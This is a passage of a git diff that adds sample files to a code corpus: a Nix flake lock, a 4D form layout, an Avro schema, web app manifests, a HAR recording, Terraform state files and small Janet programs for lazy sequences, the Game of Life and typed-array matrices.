+      },
+      "original": {
+        "owner": "figsoda",
+        "repo": "rust-templates",
+        "type": "github"
+      }
+    },
+    "utils": {
+      "locked": {
+        "lastModified": 1659877975,
+        "narHash": "sha256-zllb8aq3YO3h8B/U0/J1WBgAL8EX5yWf5pMj3G0NAmc=",
+        "owner": "numtide",
+        "repo": "flake-utils",
+        "rev": "c0e246b9b83f637f4681389ecabcb2681b4f3af0",
+        "type": "github"
+      },
+      "original": {
+        "owner": "numtide",
+        "repo": "flake-utils",
+        "type": "github"
+      }
+    },
+    "ymdl": {
+      "flake": false,
+      "locked": {
+        "lastModified": 1631585381,
+        "narHash": "sha256-7XVq+xsPx51LtTeF1yHm8+GO3H8LCzSiwzmbEhyJ81w=",
+        "owner": "figsoda",
+        "repo": "ymdl",
+        "rev": "7c587526ab07e791e4aa9bae51e87af861eeaf10",
+        "type": "github"
+      },
+      "original": {
+        "owner": "figsoda",
+        "repo": "ymdl",
+        "type": "github"
+      }
+    }
+  },
+  "root": "root",
+  "version": 7
+}
diff --git a/samples/JSON/form.4DForm b/samples/JSON/form.4DForm
new file mode 100644
index 0000000000..f9bb026f56
--- /dev/null
+++ b/samples/JSON/form.4DForm
@@ -0,0 +1,538 @@
+{
+	"destination": "detailScreen",
+	"rightMargin": 19,
+	"bottomMargin": 20,
+	"markerBody": 197,
+	"markerBreak": 197,
+	"markerFooter": 207,
+	"events": [
+		"onLoad",
+		"onValidate",
+		"onClick",
+		"onHeader",
+		"onPrintingBreak",
+		"onPrintingFooter",
+		"onDisplayDetail",
+		"onOutsideCall",
+		"onDoubleClick",
+		"onDrop",
+		"onMenuSelect",
+		"onPluginArea",
+		"onDataChange",
+		"onDragOver",
+		"onPrintingDetail",
+		"onOpenDetail",
+		"onCloseDetail",
+		"onTimer",
+		"onAfterKeystroke",
+		"onLoadRecord",
+		"onAfterEdit",
+		"onBeginDragOver",
+		"onBoundVariableChange",
+		"onPageChange"
+	],
+	"pageFormat": {
+		"paperName": "A4",
+		"paperWidth": "842pt",
+		"paperHeight": "595pt"
+	},
+	"pages": [
+		null,
+		{
+			"objects": {
+				"テキスト6": {
+					"type": "text",
+					"top": 93,
+					"left": 24,
+					"width": 515,
+					"height": 17,
+					"sizingX": "grow",
+					"stroke": "#000000",
+					"text": "Table_1"
+				},
+				"線7": {
+					"type": "line",
+					"top": 77,
+					"left": 19,
+					"width": 644,
+					"sizingX": "grow"
+				},
+				"bFirst": {
+					"type": "pictureButton",
+					"top": 16,
+					"left": 21,
+					"width": 48,
+					"height": 48,
+					"tooltip": {
+						"$ref": "/SOURCES/tips.json#/先頭レコード"
+					},
+					"action": "firstRecord",
+					"rowCount": 4,
+					"picture": "/RESOURCES/Images/Buttons/LightGrey/FirstRecord.png",
+					"switchWhenRollover": true,
+					"switchBackWhenReleased": true,
+					"useLastFrameAsDisabled": true,
+					"events": [
+						"onClick"
+					]
+				},
+				"bPrevious": {
+					"type": "pictureButton",
+					"top": 16,
+					"left": 84,
+					"width": 48,
+					"height": 48,
+					"tooltip": {
+						"$ref": "/SOURCES/tips.json#/前レコード"
+					},
+					"action": "previousRecord",
+					"rowCount": 4,
+					"picture": "/RESOURCES/Images/Buttons/LightGrey/PreviousRecord.png",
+					"switchWhenRollover": true,
+					"switchBackWhenReleased": true,
+					"useLastFrameAsDisabled": true,
+					"events": [
+						"onClick"
+					]
+				},
+				"bNext": {
+					"type": "pictureButton",
+					"top": 16,
+					"left": 147,
+					"width": 48,
+					"height": 48,
+					"tooltip": {
+						"$ref": "/SOURCES/tips.json#/次レコード"
+					},
+					"action": "nextRecord",
+					"rowCount": 4,
+					"picture": "/RESOURCES/Images/Buttons/LightGrey/NextRecord.png",
+					"switchWhenRollover": true,
+					"switchBackWhenReleased": true,
+					"useLastFrameAsDisabled": true,
+					"events": [
+						"onClick"
+					]
+				},
+				"bLast": {
+					"type": "pictureButton",
+					"top": 16,
+					"left": 210,
+					"width": 48,
+					"height": 48,
+					"tooltip": {
+						"$ref": "/SOURCES/tips.json#/最終レコード"
+					},
+					"action": "lastRecord",
+					"rowCount": 4,
+					"picture": "/RESOURCES/Images/Buttons/LightGrey/LastRecord.png",
+					"switchWhenRollover": true,
+					"switchBackWhenReleased": true,
+					"useLastFrameAsDisabled": true,
+					"events": [
+						"onClick"
+					]
+				},
+				"bDelete": {
+					"type": "pictureButton",
+					"top": 16,
+					"left": 273,
+					"width": 48,
+					"height": 48,
+					"tooltip": {
+						"$ref": "/SOURCES/tips.json#/レコード削除"
+					},
+					"action": "deleteRecord",
+					"rowCount": 4,
+					"picture": "/RESOURCES/Images/Buttons/LightGrey/DeleteRecord.png",
+					"switchWhenRollover": true,
+					"switchBackWhenReleased": true,
+					"useLastFrameAsDisabled": true,
+					"events": [
+						"onClick"
+					]
+				},
+				"bCancel": {
+					"type": "pictureButton",
+					"top": 16,
+					"left": 336,
+					"width": 48,
+					"height": 48,
+					"tooltip": {
+						"$ref": "/SOURCES/tips.json#/キャンセル"
+					},
+					"action": "cancel",
+					"rowCount": 4,
+					"picture": "/RESOURCES/Images/Buttons/LightGrey/Cancel.png",
+					"switchWhenRollover": true,
+					"switchBackWhenReleased": true,
+					"useLastFrameAsDisabled": true,
+					"events": [
+						"onClick"
+					]
+				},
+				"bValidate": {
+					"type": "pictureButton",
+					"top": 16,
+					"left": 399,
+					"width": 48,
+					"height": 48,
+					"tooltip": {
+						"$ref": "/SOURCES/tips.json#/OK"
+					},
+					"action": "accept",
+					"rowCount": 4,
+					"picture": "/RESOURCES/Images/Buttons/LightGrey/Validate.png",
+					"switchWhenRollover": true,
+					"switchBackWhenReleased": true,
+					"useLastFrameAsDisabled": true,
+					"events": [
+						"onClick"
+					]
+				},
+				"テキスト8": {
+					"type": "text",
+					"top": 146,
+					"left": 30,
+					"width": 59,
+					"height": 17,
+					"textAlign": "right",
+					"text": "ID : "
+				},
+				"テキスト9": {
+					"type": "text",
+					"top": 173,
+					"left": 30,
+					"width": 59,
+					"height": 17,
+					"textAlign": "right",
+					"text": "Field_2 : "
+				},
+				"テキスト10": {
+					"type": "text",
+					"top": 200,
+					"left": 30,
+					"width": 59,
+					"height": 17,
+					"textAlign": "right",
+					"text": "Field_3 : "
+				},
+				"ID": {
+					"type": "input",
+					"top": 146,
+					"left": 94,
+					"width": 64,
+					"height": 17,
+					"dataSource": "[Table_1:1]ID:1",
+					"dataSourceTypeHint": "integer",
+					"textAlign": "left",
+					"focusable": false,
+					"fill": "transparent",
+					"borderStyle": "sunken",
+					"enterable": false,
+					"contextMenu": "none",
+					"dragging": "none",
+					"dropping": "none",
+					"events": [
+						"onLoad",
+						"onValidate",
+						"onClick",
+						"onHeader",
+						"onPrintingBreak",
+						"onPrintingFooter",
+						"onDisplayDetail",
+						"onDataChange",
+						"onPrintingDetail"
+					]
+				},
+				"Field_2": {
+					"type": "input",
+					"top": 173,
+					"left": 94,
+					"width": 305,
+					"height": 17,
+					"dataSource": "[Table_1:1]Field_2:2",
+					"textAlign": "left",
+					"fill": "#FFFFFF",
+					"borderStyle": "sunken",
+					"dragging": "none",
+					"dropping": "none",
+					"events": [
+						"onLoad",
+						"onValidate",
+						"onClick",
+						"onHeader",
+						"onPrintingBreak",
+						"onPrintingFooter",
+						"onDisplayDetail",
+						"onDataChange",
+						"onPrintingDetail"
+					]
+				},
+				"Field_3": {
+					"type": "input",
+					"top": 200,
+					"left": 94,
+					"width": 305,
+					"height": 17,
+					"dataSource": "[Table_1:1]Field_3:3",
+					"textAlign": "left",
+					"fill": "#FFFFFF",
+					"borderStyle": "sunken",
+					"dragging": "none",
+					"dropping": "none",
+					"events": [
+						"onLoad",
+						"onValidate",
+						"onClick",
+						"onHeader",
+						"onPrintingBreak",
+						"onPrintingFooter",
+						"onDisplayDetail",
+						"onDataChange",
+						"onPrintingDetail"
+					]
+				},
+				"Variable": {
+					"type": "input",
+					"top": 94,
+					"left": 418,
+					"width": 211,
+					"height": 17,
+					"dataSource": "Read only state:C362([Table_1:1])",
+					"dataSourceTypeHint": "undefined",
+					"focusable": false,
+					"fill": "transparent",
+					"borderStyle": "none",
+					"enterable": false,
+					"contextMenu": "none",
+					"dragging": "none",
+					"dropping": "none"
+				},
+				"Text": {
+					"type": "text",
+					"top": 94,
+					"left": 122,
+					"width": 276,
+					"height": 17,
+					"text": "Read only state([Table_1])"
+				},
+				"Variable1": {
+					"type": "input",
+					"top": 114,
+					"left": 418,
+					"width": 211,
+					"height": 17,
+					"dataSource": "Locked:C147([Table_1:1])",
+					"dataSourceTypeHint": "undefined",
+					"focusable": false,
+					"fill": "transparent",
+					"borderStyle": "none",
+					"enterable": false,
+					"contextMenu": "none",
+					"dragging": "none",
+					"dropping": "none"
+				},
+				"Text1": {
+					"type": "text",
+					"top": 114,
+					"left": 122,
+					"width": 276,
+					"height": 17,
+					"text": "Locked([Table_1])"
+				},
+				"テキスト1": {
+					"type": "text",
+					"top": 326,
+					"left": 30,
+					"width": 59,
+					"height": 17,
+					"textAlign": "right",
+					"text": "ID : "
+				},
+				"テキスト2": {
+					"type": "text",
+					"top": 353,
+					"left": 30,
+					"width": 59,
+					"height": 17,
+					"textAlign": "right",
+					"text": "Field_2 : "
+				},
+				"テキスト3": {
+					"type": "text",
+					"top": 380,
+					"left": 30,
+					"width": 59,
+					"height": 17,
+					"textAlign": "right",
+					"text": "Field_3 : "
+				},
+				"ID1": {
+					"type": "input",
+					"top": 326,
+					"left": 94,
+					"width": 64,
+					"height": 17,
+					"dataSource": "[Table_2:2]ID:1",
+					"dataSourceTypeHint": "integer",
+					"textAlign": "left",
+					"focusable": false,
+					"fill": "transparent",
+					"borderStyle": "sunken",
+					"enterable": false,
+					"contextMenu": "none",
+					"dragging": "none",
+					"dropping": "none",
+					"events": [
+						"onLoad",
+						"onValidate",
+						"onClick",
+						"onHeader",
+						"onPrintingBreak",
+						"onPrintingFooter",
+						"onDisplayDetail",
+						"onDataChange",
+						"onPrintingDetail"
+					]
+				},
+				"Field_1": {
+					"type": "input",
+					"top": 353,
+					"left": 94,
+					"width": 305,
+					"height": 17,
+					"dataSource": "[Table_2:2]Field_2:2",
+					"textAlign": "left",
+					"fill": "#FFFFFF",
+					"borderStyle": "sunken",
+					"dragging": "none",
+					"dropping": "none",
+					"events": [
+						"onLoad",
+						"onValidate",
+						"onClick",
+						"onHeader",
+						"onPrintingBreak",
+						"onPrintingFooter",
+						"onDisplayDetail",
+						"onDataChange",
+						"onPrintingDetail"
+					]
+				},
+				"Field_4": {
+					"type": "input",
+					"top": 380,
+					"left": 94,
+					"width": 305,
+					"height": 17,
+					"dataSource": "[Table_2:2]Field_3:3",
+					"textAlign": "left",
+					"fill": "#FFFFFF",
+					"borderStyle": "sunken",
+					"dragging": "none",
+					"dropping": "none",
+					"events": [
+						"onLoad",
+						"onValidate",
+						"onClick",
+						"onHeader",
+						"onPrintingBreak",
+						"onPrintingFooter",
+						"onDisplayDetail",
+						"onDataChange",
+						"onPrintingDetail"
+					]
+				},
+				"テキスト4": {
+					"type": "text",
+					"top": 273,
+					"left": 24,
+					"width": 515,
+					"height": 17,
+					"sizingX": "grow",
+					"stroke": "#000000",
+					"text": "Table_2"
+				},
+				"Variable2": {
+					"type": "input",
+					"top": 274,
+					"left": 418,
+					"width": 211,
+					"height": 17,
+					"dataSource": "Read only state:C362([Table_2:2])",
+					"dataSourceTypeHint": "undefined",
+					"focusable": false,
+					"fill": "transparent",
+					"borderStyle": "none",
+					"enterable": false,
+					"contextMenu": "none",
+					"dragging": "none",
+					"dropping": "none"
+				},
+				"Text2": {
+					"type": "text",
+					"top": 274,
+					"left": 122,
+					"width": 276,
+					"height": 17,
+					"text": "Read only state([Table_2])"
+				},
+				"Variable3": {
+					"type": "input",
+					"top": 294,
+					"left": 418,
+					"width": 211,
+					"height": 17,
+					"dataSource": "Locked:C147([Table_2:2])",
+					"dataSourceTypeHint": "undefined",
+					"focusable": false,
+					"fill": "transparent",
+					"borderStyle": "none",
+					"enterable": false,
+					"contextMenu": "none",
+					"dragging": "none",
+					"dropping": "none"
+				},
+				"Text3": {
+					"type": "text",
+					"top": 294,
+					"left": 122,
+					"width": 276,
+					"height": 17,
+					"text": "Locked([Table_2])"
+				}
+			}
+		}
+	],
+	"editor": {
+		"activeView": "View 1",
+		"defaultView": "View 1",
+		"views": {
+			"View 1": {},
+			"View 2": {
+				"objects": [
+					"テキスト6",
+					"線7"
+				]
+			},
+			"View 3": {
+				"objects": [
+					"bFirst",
+					"bPrevious",
+					"bNext",
+					"bLast",
+					"bDelete",
+					"bCancel",
+					"bValidate"
+				]
+			},
+			"View 4": {},
+			"View 5": {},
+			"View 6": {},
+			"View 7": {},
+			"View 8": {},
+			"View 9": {}
+		}
+	}
+}
\ No newline at end of file
diff --git a/samples/JSON/http_response.avsc b/samples/JSON/http_response.avsc
new file mode 100644
index 0000000000..103893517b
--- /dev/null
+++ b/samples/JSON/http_response.avsc
@@ -0,0 +1,18 @@
+{
+    "type": "record",
+    "name": "Response",
+    "namespace": "org.rflow.message.data.http",
+    "aliases": [],
+    "fields": [
+        {"name": "client_ip",    "type": ["string", "null"]},
+        {"name": "client_port",  "type": ["int", "null"]},
+        {"name": "server_ip",    "type": ["string", "null"]},
+        {"name": "server_port",  "type": ["int", "null"]},
+
+        {"name": "protocol",             "type": "string"},
+        {"name": "status_code",          "type": "int"},
+        {"name": "status_reason_phrase", "type": "string"},
+        {"name": "headers",              "type": {"type": "map", "values": "string"}},
+        {"name": "content",              "type": "bytes"}
+    ]
+}
diff --git a/samples/JSON/manifest.webapp b/samples/JSON/manifest.webapp
new file mode 100644
index 0000000000..a347133c95
--- /dev/null
+++ b/samples/JSON/manifest.webapp
@@ -0,0 +1,19 @@
+{
+	"version": "1.0",
+	"name": "demo",
+	"description": "demo",
+	"launch_path": "/index.html",
+	"icons": {
+		"128": "/res/icon.png"
+	},
+	"developer": {
+		"name": "Cocos2d-html5",
+		"url": "http://cocos2d-x.org/"
+	},
+	"default_locale": "en",
+	"installs_allowed_from": [
+		"*"
+	],
+	"orientation": "portrait-primary",
+	"fullscreen": "true"
+}
diff --git a/samples/JSON/manifest.webmanifest b/samples/JSON/manifest.webmanifest
new file mode 100644
index 0000000000..cfe96256f8
--- /dev/null
+++ b/samples/JSON/manifest.webmanifest
@@ -0,0 +1,56 @@
+{
+	"short_name": "CC Splitter",
+	"name": "Credit Card Splitter",
+	"start_url": "./index.html",
+	"display": "standalone",
+	"theme_color": "#000000",
+	"background_color": "#ffffff",
+	"lang": "en-GB",
+	"icons": [
+		{
+			"src": "logo-16.png",
+			"sizes": "16x16",
+			"type": "image/png"
+		},
+		{
+			"src": "logo-36.png",
+			"sizes": "36x36",
+			"type": "image/png"
+		},
+		{
+			"src": "logo-48.png",
+			"sizes": "48x48",
+			"type": "image/png"
+		},
+		{
+			"src": "logo-72.png",
+			"sizes": "72x72",
+			"type": "image/png"
+		},
+		{
+			"src": "logo-96.png",
+			"sizes": "96x96",
+			"type": "image/png"
+		},
+		{
+			"src": "logo-144.png",
+			"sizes": "144x144",
+			"type": "image/png"
+		},
+		{
+			"src": "logo-192.png",
+			"sizes": "192x192",
+			"type": "image/png"
+		},
+		{
+			"src": "logo-250.png",
+			"sizes": "250x250",
+			"type": "image/png"
+		},
+		{
+			"src": "logo-512.png",
+			"sizes": "512x512",
+			"type": "image/png"
+		}
+	]
+}
diff --git a/samples/JSON/pack.mcmeta b/samples/JSON/pack.mcmeta
new file mode 100644
index 0000000000..a9802b2af4
--- /dev/null
+++ b/samples/JSON/pack.mcmeta
@@ -0,0 +1,6 @@
+{
+    "pack": {
+        "pack_format": 4,
+        "description": "§e更好的钓鱼§r(§kSPGoding§r)"
+    }
+}
\ No newline at end of file
diff --git a/samples/JSON/recording.har b/samples/JSON/recording.har
new file mode 100644
index 0000000000..79c54d1bf0
--- /dev/null
+++ b/samples/JSON/recording.har
@@ -0,0 +1,79 @@
+{
+  "log": {
+    "_recordingName": "@pollyjs/adapter-xhr/Integration | XHR Adapter/should be able to abort from an intercept",
+    "browser": {
+      "name": "Chrome",
+      "version": "67.0"
+    },
+    "creator": {
+      "comment": "persister:rest",
+      "name": "Polly.JS",
+      "version": "0.5.0"
+    },
+    "entries": [
+      {
+        "_id": "a59c75974571204bf8035e70d5ce252a",
+        "_order": 0,
+        "cache": {},
+        "request": {
+          "bodySize": 0,
+          "cookies": [],
+          "headers": [],
+          "headersSize": 182,
+          "httpVersion": "HTTP/1.1",
+          "method": "GET",
+          "queryString": [],
+          "url": "http://localhost:7357/api/db/-pollyjs_2160168770%2Fadapter-xhr_1803529635%2FIntegration-XHR-Adapter_4095563232%2Fshould-be-able-to-abort-from-an-intercept_68559697"
+        },
+        "response": {
+          "bodySize": 0,
+          "content": {
+            "mimeType": "text/plain",
+            "size": 0
+          },
+          "cookies": [],
+          "headers": [
+            {
+              "name": "access-control-allow-origin",
+              "value": "*"
+            },
+            {
+              "name": "date",
+              "value": "Mon, 16 Jul 2018 22"
+            },
+            {
+              "name": "connection",
+              "value": "close"
+            },
+            {
+              "name": "x-powered-by",
+              "value": "Express"
+            },
+            {
+              "name": "content-length",
+              "value": "0"
+            }
+          ],
+          "headersSize": 122,
+          "httpVersion": "HTTP/1.1",
+          "redirectURL": "",
+          "status": 404,
+          "statusText": "Not Found"
+        },
+        "startedDateTime": "2018-07-16T22:55:22.554Z",
+        "time": 33,
+        "timings": {
+          "blocked": -1,
+          "connect": -1,
+          "dns": -1,
+          "receive": 0,
+          "send": 0,
+          "ssl": -1,
+          "wait": 33
+        }
+      }
+    ],
+    "pages": [],
+    "version": "1.2"
+  }
+}
diff --git a/samples/JSON/small.tfstate b/samples/JSON/small.tfstate
new file mode 100644
index 0000000000..86d80f765b
--- /dev/null
+++ b/samples/JSON/small.tfstate
@@ -0,0 +1,122 @@
+{
+		"version": 1,
+		"serial": 12,
+		"modules": [
+				{
+						"path": [
+								"root"
+						],
+						"outputs": {
+								"public_az1_subnet_id": "subnet-d658bba0",
+								"region": "us-west-2",
+								"vpc_cidr": "10.201.0.0/16",
+								"vpc_id": "vpc-65814701"
+						},
+						"resources": {
+								"aws_key_pair.onprem": {
+										"type": "aws_key_pair",
+										"primary": {
+												"id": "onprem",
+												"attributes": {
+														"id": "onprem",
+														"key_name": "onprem",
+														"public_key": "foo"
+												},
+												"meta": {
+														"schema_version": "1"
+												}
+										}
+								}
+						}
+				},
+				{
+						"path": [
+								"root",
+								"bootstrap"
+						],
+						"outputs": {
+								"consul_bootstrap_dns": "consul.bootstrap"
+						},
+						"resources": {
+								"aws_route53_record.oasis-consul-bootstrap-a": {
+										"type": "aws_route53_record",
+										"depends_on": [
+												"aws_route53_zone.oasis-consul-bootstrap"
+										],
+										"primary": {
+												"id": "Z68734P5178QN_consul.bootstrap_A",
+												"attributes": {
+														"failover": "",
+														"fqdn": "consul.bootstrap",
+														"health_check_id": "",
+														"id": "Z68734P5178QN_consul.bootstrap_A",
+														"name": "consul.bootstrap",
+														"records.#": "6",
+														"records.1148461392": "10.201.3.8",
+														"records.1169574759": "10.201.2.8",
+														"records.1206973758": "10.201.1.8",
+														"records.1275070284": "10.201.2.4",
+														"records.1304587643": "10.201.3.4",
+														"records.1313257749": "10.201.1.4",
+														"set_identifier": "",
+														"ttl": "300",
+														"type": "A",
+														"weight": "-1",
+														"zone_id": "Z68734P5178QN"
+												}
+										}
+								},
+								"aws_route53_record.oasis-consul-bootstrap-ns": {
+										"type": "aws_route53_record",
+										"depends_on": [
+												"aws_route53_zone.oasis-consul-bootstrap",
+												"aws_route53_zone.oasis-consul-bootstrap",
+												"aws_route53_zone.oasis-consul-bootstrap",
+												"aws_route53_zone.oasis-consul-bootstrap",
+												"aws_route53_zone.oasis-consul-bootstrap"
+										],
+										"primary": {
+												"id": "Z68734P5178QN_consul.bootstrap_NS",
+												"attributes": {
+														"failover": "",
+														"fqdn": "consul.bootstrap",
+														"health_check_id": "",
+														"id": "Z68734P5178QN_consul.bootstrap_NS",
+														"name": "consul.bootstrap",
+														"records.#": "4",
+														"records.1796532126": "ns-512.awsdns-00.net.",
+														"records.2728059479": "ns-1536.awsdns-00.co.uk.",
+														"records.4092160370": "ns-1024.awsdns-00.org.",
+														"records.456007465": "ns-0.awsdns-00.com.",
+														"set_identifier": "",
+														"ttl": "30",
+														"type": "NS",
+														"weight": "-1",
+														"zone_id": "Z68734P5178QN"
+												}
+										}
+								},
+								"aws_route53_zone.oasis-consul-bootstrap": {
+										"type": "aws_route53_zone",
+										"primary": {
+												"id": "Z68734P5178QN",
+												"attributes": {
+														"comment": "Used to bootstrap consul dns",
+														"id": "Z68734P5178QN",
+														"name": "consul.bootstrap",
+														"name_servers.#": "4",
+														"name_servers.0": "ns-0.awsdns-00.com.",
+														"name_servers.1": "ns-1024.awsdns-00.org.",
+														"name_servers.2": "ns-1536.awsdns-00.co.uk.",
+														"name_servers.3": "ns-512.awsdns-00.net.",
+														"tags.#": "0",
+														"vpc_id": "vpc-65814701",
+														"vpc_region": "us-west-2",
+														"zone_id": "Z68734P5178QN"
+												}
+										}
+								}
+						}
+				}
+		]
+}
diff --git a/samples/JSON/terraform.tfstate.backup b/samples/JSON/terraform.tfstate.backup
new file mode 100644
index 0000000000..227fac5937
--- /dev/null
+++ b/samples/JSON/terraform.tfstate.backup
@@ -0,0 +1,77 @@
+{
+		"version": 3,
+		"terraform_version": "0.11.2",
+		"serial": 5,
+		"lineage": "5ffde9fb-4814-4609-a8a6-f1054f1779c1",
+		"modules": [
+				{
+						"path": [
+								"root"
+						],
+						"outputs": {},
+						"resources": {
+								"aws_iam_role.iam_for_lambda": {
+										"type": "aws_iam_role",
+										"depends_on": [],
+										"primary": {
+												"id": "iam_for_lambda",
+												"attributes": {
+														"arn": "arn:aws:iam::387412527620:role/iam_for_lambda",
+														"assume_role_policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Sid\":\"\",\"Effect\":\"Allow\",\"Principal\":{\"Service\":\"lambda.amazonaws.com\"},\"Action\":\"sts:AssumeRole\"}]}",
+														"create_date": "2018-01-27T04:05:27Z",
+														"force_detach_policies": "false",
+														"id": "iam_for_lambda",
+														"name": "iam_for_lambda",
+														"path": "/",
+														"unique_id": "AROAINXWJF2AIJOZMQXOE"
+												},
+												"meta": {},
+												"tainted": false
+										},
+										"deposed": [],
+										"provider": "provider.aws"
+								},
+								"aws_lambda_function.query-fitbit": {
+										"type": "aws_lambda_function",
+										"depends_on": [
+												"aws_iam_role.iam_for_lambda"
+										],
+										"primary": {
+												"id": "query-fitbit",
+												"attributes": {
+														"arn": "arn:aws:lambda:us-east-1:387412527620:function:query-fitbit",
+														"dead_letter_config.#": "0",
+														"description": "",
+														"environment.#": "0",
+														"filename": "../lambda/query-fitbit.zip",
+														"function_name": "query-fitbit",
+														"handler": "exports.handler",
+														"id": "query-fitbit",
+														"invoke_arn": "arn:aws:apigateway:us-east-1:lambda:path/2015-03-31/functions/arn:aws:lambda:us-east-1:387412527620:function:query-fitbit/invocations",
+														"kms_key_arn": "",
+														"last_modified": "2018-01-27T04:11:31.185+0000",
+														"memory_size": "128",
+														"publish": "false",
+														"qualified_arn": "arn:aws:lambda:us-east-1:387412527620:function:query-fitbit:$LATEST",
+														"reserved_concurrent_executions": "0",
+														"role": "arn:aws:iam::387412527620:role/iam_for_lambda",
+														"runtime": "nodejs6.10",
+														"source_code_hash": "mNFY3lZD4jFsVq/f353zMD9MLSBvoaEbObIB1KBnxq4=",
+														"tags.%": "0",
+														"timeout": "3",
+														"tracing_config.#": "1",
+														"tracing_config.0.mode": "PassThrough",
+														"version": "$LATEST",
+														"vpc_config.#": "0"
+												},
+												"meta": {},
+												"tainted": false
+										},
+										"deposed": [],
+										"provider": "provider.aws"
+								}
+						},
+						"depends_on": []
+				}
+		]
+}
diff --git a/samples/Janet/lazyseqs.janet b/samples/Janet/lazyseqs.janet
new file mode 100644
index 0000000000..1e7452a0c6
--- /dev/null
+++ b/samples/Janet/lazyseqs.janet
@@ -0,0 +1,106 @@
+# An example implementation of functional, lazy
+# sequences, as in clojure. The lazy seq is essentially
+# A lazy linked list, where the next value is a function
+# that must be called (realizing it), and the memoized.
+# Use with (import "./path/to/this/file" :prefix "seq.")
+
+(defmacro delay
+  "Lazily evaluate a series of expressions. Returns a function that
+  returns the result of the last expression. Will only evaluate the
+  body once, and then memoizes the result."
+  [& forms]
+  (def state (gensym))
+  (def loaded (gensym))
+  ~(do 
+     (var ,state nil)
+     (var ,loaded nil)
+     (fn []
+       (if ,loaded 
+         ,state 
+         (do
+           (set ,loaded true)
+           (set ,state (do ,;forms)))))))
+
+# Use tuples instead of structs to save memory
+(def- HEAD 0)
+(def- TAIL 1)
+
+(defn empty-seq
+  "The empty sequence."
+  [] nil)
+
+(defmacro cons
+  "Create a new sequence by prepending a value to the original sequence."
+  [h t]
+  (def x (tuple h t))
+  (fn [] x))
+
+(defn empty?
+  "Check if a sequence is empty."
+  [s]
+  (not (s)))
+
+(defn head
+  "Get the next value of the sequence."
+  [s]
+  (get (s) HEAD))
+
+(defn tail
+  "Get the rest of a sequence"
+  [s]
+  (get (s) TAIL))
+
+(defn lazy-range
+  "Return a sequence of integers [start, end)."
+  [start end &]
+  (if end
+    (if (< start end)
+      (delay (tuple start (lazy-range (+ 1 start) end)))
+      empty-seq)
+    (lazy-range 0 start)))
+
+(defn lazy-map
+  "Return a sequence that is the result of applying f to each value in s."
+  [f s]
+  (delay
+    (def x (s))
+    (if x (tuple (f (get x HEAD)) (map f (get x TAIL))))))
+
+(defn realize
+  "Force evaluation of a lazy sequence."
+  [s]
+  (when (s) (realize (tail s))))
+
+(defn realize-map
+  "Evaluate f on each member of the sequence. Forces evaluation."
+  [f s]
+  (when (s) (f (head s)) (realize-map f (tail s))))
+
+(defn drop
+  "Ignores the first n values of the sequence and returns the rest."
+  [n s]
+  (delay
+    (def x (s))
+    (if (and x (pos? n)) ((drop (- n 1) (get x TAIL))))))
+
+(defn take
+  "Returns at most the first n values of s."
+  [n s]
+  (delay
+    (def x (s))
+    (if (and x (pos? n))
+      (tuple (get x HEAD) (take (- n 1) (get x TAIL))))))
+
+(defn randseq
+  "Return a sequence of random numbers."
+  []
+  (delay (tuple (math/random) (randseq))))
+
+(defn take-while
+  "Returns a sequence of values until the predicate is false."
+  [pred s]
+  (delay
+    (def x (s))
+    (when x
+      (def thehead (get HEAD x))
+      (if thehead (tuple thehead (take-while pred (get TAIL x)))))))
diff --git a/samples/Janet/life.janet b/samples/Janet/life.janet
new file mode 100644
index 0000000000..ac1f8c99ed
--- /dev/null
+++ b/samples/Janet/life.janet
@@ -0,0 +1,43 @@
+# A game of life implementation
+
+(def- window
+  (seq [x :range [-1 2]
+         y :range [-1 2]
+         :when (not (and (zero? x) (zero? y)))]
+       [x y]))
+
+(defn- neighbors
+  [[x y]]
+  (map (fn [[x1 y1]] [(+ x x1) (+ y y1)]) window))
+
+(defn tick
+  "Get the next state in the Game Of Life."
+  [state]
+  (def cell-set (frequencies state))
+  (def neighbor-set (frequencies (mapcat neighbors state)))
+  (seq [coord :keys neighbor-set
+         :let [count (get neighbor-set coord)]
+         :when (or (= count 3) (and (get cell-set coord) (= count 2)))]
+      coord))
+
+(defn draw
+  "Draw cells in the game of life from (x1, y1) to (x2, y2)"
+  [state x1 y1 x2 y2]
+  (def cellset @{})
+  (each cell state (put cellset cell true))
+  (loop [x :range [x1 (+ 1 x2)]
+         :after (print)
+         y :range [y1 (+ 1 y2)]]
+    (file/write stdout (if (get cellset [x y]) "X " ". ")))
+  (print))
+
+#
+# Run the example
+#
+
+(var *state* '[(0 0) (-1 0) (1 0) (1 1) (0 2)])
+
+(for i 0 20
+  (print "generation " i)
+  (draw *state* -7 -7 7 7)
+  (set *state* (tick *state*)))
diff --git a/samples/Janet/tarray.janet b/samples/Janet/tarray.janet
new file mode 100644
index 0000000000..b55fa58b36
--- /dev/null
+++ b/samples/Janet/tarray.janet
@@ -0,0 +1,83 @@
+# naive matrix implementation for testing typed array
+
+(defmacro printf [& xs] ['print ['string/format (splice xs)]])
+
+(defn matrix [nrow ncol] {:nrow nrow :ncol ncol :array (tarray/new :float64 (* nrow ncol))})
+
+(defn matrix/row [mat i]
+  (def {:nrow nrow :ncol ncol :array array} mat)
+  (tarray/new :float64 ncol 1 (* i ncol)  array))
+
+(defn matrix/column [mat j]
+  (def {:nrow nrow :ncol ncol :array array} mat)
+  (tarray/new :float64 nrow ncol j array))
+
+(defn matrix/set [mat i j value]
+  (def {:nrow nrow :ncol ncol :array array} mat)
+  (set (array (+ (* i ncol) j)) value))
+
+(defn matrix/get [mat i j value]
+  (def {:nrow nrow :ncol ncol :array array} mat)
+  (array (+ (* i ncol) j)))
+
+
+# other variants to test rows and cols views
+
+(defn matrix/set* [mat i j value]
+  (set ((matrix/row mat i) j) value))
+
+(defn matrix/set** [mat i j value]
+  (set ((matrix/column mat j) i) value))
+
+
+(defn matrix/get* [mat i j value]
+  ((matrix/row mat i) j))
+
+(defn matrix/get** [mat i j value]
+  ((matrix/column j) i))
+
+
+(defn tarray/print [array]
+  (def size (tarray/length array))
+  (def buf @"")
+  (buffer/format buf "[%2i]" size)
+  (for i 0 size
+       (buffer/format buf " %+6.3f " (array i)))
+  (print buf))
+       
+(defn matrix/print [mat]
+  (def {:nrow nrow :ncol ncol :array tarray} mat)
+  (printf "matrix %iX%i %p" nrow ncol tarray)
+  (for i 0 nrow
+       (tarray/print (matrix/row mat i))))
+
+
+(def nr 5)
+(def nc 4)
+(def A (matrix nr nc))
+
+(loop (i :range (0 nr) j :range (0 nc)) 
+      (matrix/set A i j i))
+(matrix/print A)
+
+(loop (i :range (0 nr) j :range (0 nc)) 
+      (matrix/set* A i j i))
